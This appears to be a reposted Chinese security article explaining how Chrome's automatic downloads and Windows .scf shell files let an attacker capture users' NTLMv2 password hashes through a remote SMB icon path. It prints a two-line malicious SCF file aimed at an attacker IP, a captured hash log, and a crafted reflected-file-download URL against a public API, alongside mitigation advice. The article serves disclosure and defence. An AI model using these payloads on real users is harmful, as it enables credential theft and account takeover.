写在前面的话

利用Windows操作系统的SMB文件共享协议来窃取身份凭证的攻击技术长久以来都一直存在,这是一个难以避免的问题。虽然这种技术有多种实现方式,但大多都局限于本地网络内。在过去的十多年里,还没有人公开演示过针对浏览器(除了IE和Edge之外)的SMB认证攻击,但是在这篇文章中我们将介绍一种Windows凭证窃取攻击,这种技术会影响目前最流行的Web浏览器-ChromeChrome(默认配置下),以及支持该浏览器的所有Windows版本。

如何利用谷歌浏览器盗取Windows密码-RadeBit瑞安全

问题描述

在默认配置下,Chrome浏览器会自动下载它认为安全的文件,而且不会提示用户选择文件的存储位置(使用的是预设地址)。从安全的角度来看,这个功能是存在问题的,但如果恶意文件想要运行的话,还是需要用户手动点击“打开/运行”按钮才可以。不过,如果下载下来的文件不需要用户交互就能够执行恶意操作的话,那又该怎么办呢?真的有哪一类文件可以做到这一点吗?

Windows资源管理器Shell命令文件(.scf文件)是一种鲜为人知的文件类型,可以追溯到Windows98。可能只有Windows98/Me/NT/2000/XP用户可能遇到过这种文件,当时它主要用来显示桌面快捷方式。它本质上是一种文本文件,其中有一部分可以确定一段需要运行的命令(仅限于运行资源管理器和切换桌面)和一个图标文件的位置。下面是一个SCF文件的内容示例:RadeBit瑞安全

[Shell]

Command=2

IconFile=explorer.exe,3

[Taskbar]

Command=ToggleDesktop

随着Windows快捷方式LNK文件的诞生,当文件显示在资源管理器中时,图标地址会进行自动解析。将图标地址指向一台远程SMB服务器已经是众所周知的攻击向量了,这种技术利用了Windows在访问远程文件服务时的自动化身份验证功能。但是从攻击的角度来看,LNK和SCF之间的区别在哪里呢?自从震网病毒出现之后,Chrome会强制将LNK文件的后缀名改为.download,但SCF文件并没有得到相同的待遇。

因此,我们可以利用一个仅含两行代码的SCF文件来欺骗Windows系统:

[Shell]

IconFile=170.170.170.170icon

文件下载完成之后,当用户在Windows资源管理器中打开下载目录的那一瞬间,请求就会被触发,随后文件便会被删除。整个过程根本不需要用户点击或打开下载文件,因为Windows资源管理器会自动尝试获取“icon”(图标)内容。

攻击者所设置的远程SMB服务器随时准备着捕获目标用户的用户名以及NTLMv2密码哈希,他们可以将这些数据用于离线破解或伪造用户身份并访问在线服务(SMB中继攻击)。捕获到的信息大致如下:RadeBit瑞安全

[*] SMB Captured - 2017-05-15 13:10:44 +0200

NTLMv2 Response Captured from 173.203.29.1

82:62521 -173.203.29.182

USER:Bosko DOMAIN:Master OS: LM:

LMHASH:Disabled

LM_CLIENT_CHALLENGE:Disabled

NTHASH:98daf39c3a253bbe4a289e7a746d4b24

NT_CLIENT_CHALLENGE:01010000000000

000e5f83e06fcdd201ccf26d91cd9e326e000000

00020000000000000000000000

Bosko::Master:1122334455667788:98daf39c3a2

53bbe4a289e7a746d4b24:0101000000000000

0e5f83e06fcdd201ccf26d91cd9e326e0000000

002000000000000000000000

上面这个例子泄漏了目标用户的用户名、所在域(Domain)、以及NTLMv2密码哈希。RadeBit瑞安全

需要注意的是,无论你的系统设置如何,SCF文件在Windows资源管理器中都不会显示其后缀名(.scf)。因此,类似picture.jpg.scf这样的文件名在Windows资源管理器中显示的就是picture.jpg。因此,这也使得利用SCF文件的攻击活动更加难以被发现了。

如何利用谷歌浏览器盗取Windows密码-RadeBit瑞安全

影响

密码泄漏

对于企业和政府用户来说,密码泄漏将有可能导致内网提权和数据泄漏等风险出现。对于使用了微软账号(MSA)而非本地账号的Windows8/10的用户来说,密码泄漏将会影响用户所有的微软服务,例如OneDrive、Outlook.com、Office365、Office Online、Skype、以及Xbox Live等等。与此同时,密码重用等问题还会导致更多的账号发生泄漏。

从密码破解的可行性方面来说,近些年来,基于GPU的密码破解技术得到了巨大的发展。现在,一张Nvidia GTX 1080的计算能力约为1600MH/s,即每秒可计算16亿哈希值。对于一个长度为8个字符的密码,一台配备了四块GTX1080的密码破解机可以在不到一天时间里遍历整个密码空间(包括大小写字母+常用特殊字符(!@#$%&))。

SMB中继攻击

像Microsoft Exchange(或Outlook)这种允许远程访问的以及使用NTLM作为身份验证方法的服务将有可能受到SMB中继攻击,攻击者将能够伪装成受害者来访问用户的数据,而且还不用破解用户的密码。Jonathan Brossard在BlackHat黑客大会上已经向全世界演示过这种方法了,感兴趣的同学可以观看这个演示视频【传送门】。

在某些特殊情况下,攻击者甚至还可以在中继攻击的帮助下,利用窃取来的证书入侵目标网络,并获取内部网络的访问权。

针对SCF的反病毒产品

当浏览器无法提示这方面的安全风险时,我们只能指望其他的安全解决方案能够保护我们的安全了。于是我们对当前领先的安全解决方案进行了测试,以确定它们是否能够识别这类恶意下载文件。但不幸的是,所有测试产品都无法将这类文件标记为可疑对象。不过,想要识别出可疑的SCF文件其实也并不难,我们只要检查文件中的IconFile参数所指向的地址就可以了,所以我们希望厂商在将来能够增加这种检测机制。

反射文件下载(RFD)攻击

注:这种攻击技术最早是由OrenHafif发现的,感兴趣的同学可以参考这篇文章【参考资料】。

由于SCF格式比较简单,而我们的攻击只需要两行代码,而且可定制程度较高,因此它也非常适用于RFD攻击。

RFD通常针对的是RESTfulAPI节点,因为它们通常允许我们在URL路径中设置文件的扩展名。Chrome不会直接下载API响应内容类型,因此我们需要在“href=”属性中添加下载链接来强制浏览器完成下载。

我们以WorldBankAPI为例进行演示:

http://api.worldbank.org/v2/country/indicat

or/iwantyourhash.scf?prefix=%0A[Shell]%0A

IconFile=170.170.170

.170test%0Alol=%0B&format=jsonp

由于字符“%0B”无法打印出来,因此Chrome将会自动将响应内容下载并保存为iwantyourhash.scf文件。当保存这个文件的下载目录被打开之后,Windows将会尝试与远程SMB服务器进行身份验证,并暴露目标用户的认证哈希。

缓解方案

为了防止这种通过SCF文件所进行的NTLMv2凭证窃取攻击,我们可以通过下列方法禁用Chrome浏览器的自动下载功能:设置->显示高级设置->勾选“在下载之前询问保存文件路径”选项。

除此之外,我们也希望谷歌能够在将来的Chrome浏览器版本中解决这个问题。